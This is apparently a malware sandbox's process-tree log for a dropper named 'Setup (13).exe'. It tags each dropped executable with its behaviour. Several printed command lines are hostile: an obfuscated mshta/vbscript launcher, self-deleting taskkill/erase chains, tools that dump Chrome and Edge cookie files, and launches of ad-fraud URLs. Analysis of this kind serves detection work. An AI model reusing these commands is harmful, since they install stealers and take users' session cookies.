PID 520 wrote to memory of 944	520	Setup (13).exe	pLDbr7Bolu2CK0IobUjwDyuE.exe

C:\Users\Admin\AppData\Local\Temp\Setup (13).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (13).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:520
- C:\Users\Admin\Documents\ZPnaJ0jBGqyAp2al1SXcHJmq.exe
  "C:\Users\Admin\Documents\ZPnaJ0jBGqyAp2al1SXcHJmq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1120
- - C:\Users\Admin\Documents\ZPnaJ0jBGqyAp2al1SXcHJmq.exe
    "C:\Users\Admin\Documents\ZPnaJ0jBGqyAp2al1SXcHJmq.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2396
- C:\Users\Admin\Documents\kHTB_GiDmaerh0uzIcAeZqtl.exe
  "C:\Users\Admin\Documents\kHTB_GiDmaerh0uzIcAeZqtl.exe"
  2⤵
  - Executes dropped EXE
  PID:1544
- C:\Users\Admin\Documents\obMsqGvOTRzyRGjXtWanN9D4.exe
  "C:\Users\Admin\Documents\obMsqGvOTRzyRGjXtWanN9D4.exe"
  2⤵
  - Executes dropped EXE
  PID:592
- C:\Users\Admin\Documents\6I_vHT5EjSdNM_mRzjVTQ4gl.exe
  "C:\Users\Admin\Documents\6I_vHT5EjSdNM_mRzjVTQ4gl.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\rhOz3Hchjm.bat"
    3⤵
    PID:2584
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2276
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:280
  - - C:\Users\Admin\Documents\SelectConvert\0ZRHTkgGEY56RpC79wWBJJ4t.exe
      "C:\Users\Admin\Documents\SelectConvert\0ZRHTkgGEY56RpC79wWBJJ4t.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1092
- C:\Users\Admin\Documents\6zT3pYege0XS1rsVjiHSFAft.exe
  "C:\Users\Admin\Documents\6zT3pYege0XS1rsVjiHSFAft.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1956
- C:\Users\Admin\Documents\PJsFEwriHA049W5Sq0aMkE82.exe
  "C:\Users\Admin\Documents\PJsFEwriHA049W5Sq0aMkE82.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1312
- - C:\Users\Admin\Documents\PJsFEwriHA049W5Sq0aMkE82.exe
    C:\Users\Admin\Documents\PJsFEwriHA049W5Sq0aMkE82.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2984
- C:\Users\Admin\Documents\UxeLcqzwTT96cu6eR281bVEO.exe
  "C:\Users\Admin\Documents\UxeLcqzwTT96cu6eR281bVEO.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:740
- - C:\Users\Admin\AppData\Local\Temp\ssqq.exe
    "C:\Users\Admin\AppData\Local\Temp\ssqq.exe"
    3⤵
    - Executes dropped EXE
    PID:1316
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 552
      4⤵
      Program crash
      PID:4716
- C:\Users\Admin\Documents\tp6rv4GUnxwK65DPdLg6bwct.exe
  "C:\Users\Admin\Documents\tp6rv4GUnxwK65DPdLg6bwct.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- - C:\Users\Admin\AppData\Roaming\3531479.exe
    "C:\Users\Admin\AppData\Roaming\3531479.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2180
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2180 -s 1816
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1128
- - C:\Users\Admin\AppData\Roaming\6386335.exe
    "C:\Users\Admin\AppData\Roaming\6386335.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    PID:2348
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      Executes dropped EXE
      PID:2732
- - C:\Users\Admin\AppData\Roaming\4270126.exe
    "C:\Users\Admin\AppData\Roaming\4270126.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2492
- - C:\Users\Admin\AppData\Roaming\8259864.exe
    "C:\Users\Admin\AppData\Roaming\8259864.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2744 -s 1652
      4⤵
      Checks BIOS information in registry
      Loads dropped DLL
      Program crash
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1272
- C:\Users\Admin\Documents\tkNt1FFI1INKZONsPutfa8Km.exe
  "C:\Users\Admin\Documents\tkNt1FFI1INKZONsPutfa8Km.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1560
- C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
  "C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe"
  2⤵
  - Executes dropped EXE
  PID:1260
- - C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    3⤵
    - Executes dropped EXE
    PID:1824
- - C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    3⤵
    - Executes dropped EXE
    PID:2248
- - C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    3⤵
    - Executes dropped EXE
    PID:2532
- - C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    C:\Users\Admin\Documents\HkwqiVfR74ISvM3Zvhor9Yl9.exe
    3⤵
    PID:2380
- C:\Users\Admin\Documents\_XyBt1sQkewLWbmijnIKsfKi.exe
  "C:\Users\Admin\Documents\_XyBt1sQkewLWbmijnIKsfKi.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:832
- C:\Users\Admin\Documents\PtECcJ1KaSEHPeMLhz4GGTwT.exe
  "C:\Users\Admin\Documents\PtECcJ1KaSEHPeMLhz4GGTwT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- - C:\Users\Admin\Documents\PtECcJ1KaSEHPeMLhz4GGTwT.exe
    "C:\Users\Admin\Documents\PtECcJ1KaSEHPeMLhz4GGTwT.exe"
    3⤵
    - Executes dropped EXE
    PID:1824
- C:\Users\Admin\Documents\P416hFfmUUQedSvWsj9TAnBA.exe
  "C:\Users\Admin\Documents\P416hFfmUUQedSvWsj9TAnBA.exe"
  2⤵
  - Executes dropped EXE
  PID:1584
- - C:\Users\Admin\Documents\P416hFfmUUQedSvWsj9TAnBA.exe
    "C:\Users\Admin\Documents\P416hFfmUUQedSvWsj9TAnBA.exe" -q
    3⤵
    - Executes dropped EXE
    PID:2188
- C:\Users\Admin\Documents\K1DUrXYWlc07y4_tsnkri7BM.exe
  "C:\Users\Admin\Documents\K1DUrXYWlc07y4_tsnkri7BM.exe"
  2⤵
  - Executes dropped EXE
  PID:1740
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "K1DUrXYWlc07y4_tsnkri7BM.exe" /f & erase "C:\Users\Admin\Documents\K1DUrXYWlc07y4_tsnkri7BM.exe" & exit
    3⤵
    PID:2564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "K1DUrXYWlc07y4_tsnkri7BM.exe" /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2812
- C:\Users\Admin\Documents\kfIG5AT7N7bku6DCVcUKDyTL.exe
  "C:\Users\Admin\Documents\kfIG5AT7N7bku6DCVcUKDyTL.exe"
  2⤵
  - Executes dropped EXE
  - Modifies system certificate store
  PID:1912
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 900
    3⤵
    - Loads dropped DLL
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2508
- C:\Users\Admin\Documents\0ZRHTkgGEY56RpC79wWBJJ4t.exe
  "C:\Users\Admin\Documents\0ZRHTkgGEY56RpC79wWBJJ4t.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:960
- C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe
  "C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- - C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe
    "C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe"
    3⤵
    - Executes dropped EXE
    PID:3008
- - C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe
    "C:\Users\Admin\Documents\pLDbr7Bolu2CK0IobUjwDyuE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Users\Admin\Documents\9lb0qDoH0tPGrH20F1qf_INP.exe
  "C:\Users\Admin\Documents\9lb0qDoH0tPGrH20F1qf_INP.exe"
  2⤵
  - Executes dropped EXE
  PID:1196
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "9lb0qDoH0tPGrH20F1qf_INP.exe" /f & erase "C:\Users\Admin\Documents\9lb0qDoH0tPGrH20F1qf_INP.exe" & exit
    3⤵
    PID:2372
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "9lb0qDoH0tPGrH20F1qf_INP.exe" /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1300
- C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe
  "C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe"
  2⤵
  - Executes dropped EXE
  PID:980
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
    3⤵
    - Modifies Internet Explorer settings
    PID:2992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\7Llrta0djCbyMkU2dlBOSfpN.exe") do taskkill -IM "%~nXW" -f
      4⤵
      PID:1260
    - - C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        5⤵
        Executes dropped EXE
        
        PID:2740
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        6⤵
        Modifies Internet Explorer settings
        
        PID:1716
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
        7⤵
        
        PID:984
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
        6⤵
        Loads dropped DLL
        
        PID:2940
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "7Llrta0djCbyMkU2dlBOSfpN.exe" -f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2316
- C:\Users\Admin\Documents\VQHBVoufah_RYhR8RcQIeE99.exe
  "C:\Users\Admin\Documents\VQHBVoufah_RYhR8RcQIeE99.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Users\Admin\Documents\BsmEbheM3sZzLDw2FRIWWOCc.exe
  "C:\Users\Admin\Documents\BsmEbheM3sZzLDw2FRIWWOCc.exe"
  2⤵
  - Executes dropped EXE
  PID:1272
- C:\Users\Admin\Documents\40wR120o4rDIPX58VnMl27bl.exe
  "C:\Users\Admin\Documents\40wR120o4rDIPX58VnMl27bl.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  PID:1440
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    - Executes dropped EXE
    PID:2456
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2856
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:3024
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2404
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2344
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:1916
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:2864
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      Executes dropped EXE
      PID:2532
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2380
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies system certificate store
    PID:1220
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:1520
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      PID:1260
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:4344
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:3140
- C:\Users\Admin\Documents\MTn5Z7krfBOM6F46mBh7hjWj.exe
  "C:\Users\Admin\Documents\MTn5Z7krfBOM6F46mBh7hjWj.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2044
- - C:\Users\Admin\AppData\Local\Temp\is-19OF8.tmp\MTn5Z7krfBOM6F46mBh7hjWj.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-19OF8.tmp\MTn5Z7krfBOM6F46mBh7hjWj.tmp" /SL5="$20158,138429,56832,C:\Users\Admin\Documents\MTn5Z7krfBOM6F46mBh7hjWj.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies system certificate store
    - Suspicious use of FindShellTrayWindow
    PID:2060
  - - C:\Users\Admin\AppData\Local\Temp\is-J5ISJ.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-J5ISJ.tmp\Setup.exe" /Verysilent
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Program Files directory
      PID:108
    - - C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1736
      - C:\Users\Admin\AppData\Local\Temp\is-39JNQ.tmp\Stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-39JNQ.tmp\Stats.tmp" /SL5="$202B8,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2716
    - - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:2708
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:4000
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im runvd.exe /f
        7⤵
        Kills process with taskkill
        
        PID:4320
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:4500
    - - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:612
      - C:\Users\Admin\AppData\Local\Temp\is-UCD6O.tmp\Inlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UCD6O.tmp\Inlog.tmp" /SL5="$102FC,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        6⤵
        Suspicious use of FindShellTrayWindow
        
        PID:2332
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:2232
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629555810 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:4492
    - - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:2220
      - C:\Users\Admin\AppData\Local\Temp\is-1QMVR.tmp\WEATHER Manager.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1QMVR.tmp\WEATHER Manager.tmp" /SL5="$10312,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        6⤵
        
        PID:1576
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        Executes dropped EXE
        
        PID:2540
      - C:\Users\Admin\AppData\Local\Temp\is-IKES1.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IKES1.tmp\MediaBurner2.tmp" /SL5="$1030A,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\is-TPCF0.tmp\ultradumnibour.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-TPCF0.tmp\ultradumnibour.exe" /S /UID=burnerch2
        7⤵
        
        PID:1476
        
        C:\Program Files\Windows Sidebar\LVXZYNPSVP\ultramediaburner.exe
        
        "C:\Program Files\Windows Sidebar\LVXZYNPSVP\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3356
        
        C:\Users\Admin\AppData\Local\Temp\is-9U7UM.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9U7UM.tmp\ultramediaburner.tmp" /SL5="$2028C,281924,62464,C:\Program Files\Windows Sidebar\LVXZYNPSVP\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:4280
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:4452
        
        C:\Users\Admin\AppData\Local\Temp\47-68dd0-b1c-9789a-eec0718b3c35a\Vyjaeruzhaexo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\47-68dd0-b1c-9789a-eec0718b3c35a\Vyjaeruzhaexo.exe"
        8⤵
        
        PID:2556
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:4760
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4760 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:3776
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:3340
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3340 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:4740
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:3648
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3648 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:3388
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        9⤵
        
        PID:4960
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4960 -s 284
        10⤵
        Program crash
        
        PID:2872
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
        9⤵
        
        PID:388
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 388 -s 132
        10⤵
        Program crash
        
        PID:2840
        
        C:\Users\Admin\AppData\Local\Temp\d4-69745-28d-80192-310f2b2b3c8be\Logewysuvi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d4-69745-28d-80192-310f2b2b3c8be\Logewysuvi.exe"
        8⤵
        
        PID:4024
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g41ajcar.3t4\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\g41ajcar.3t4\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\g41ajcar.3t4\GcleanerEU.exe /eufive
        10⤵
        
        PID:3440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hr0gzmzd.usj\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\hr0gzmzd.usj\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\hr0gzmzd.usj\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3276
        
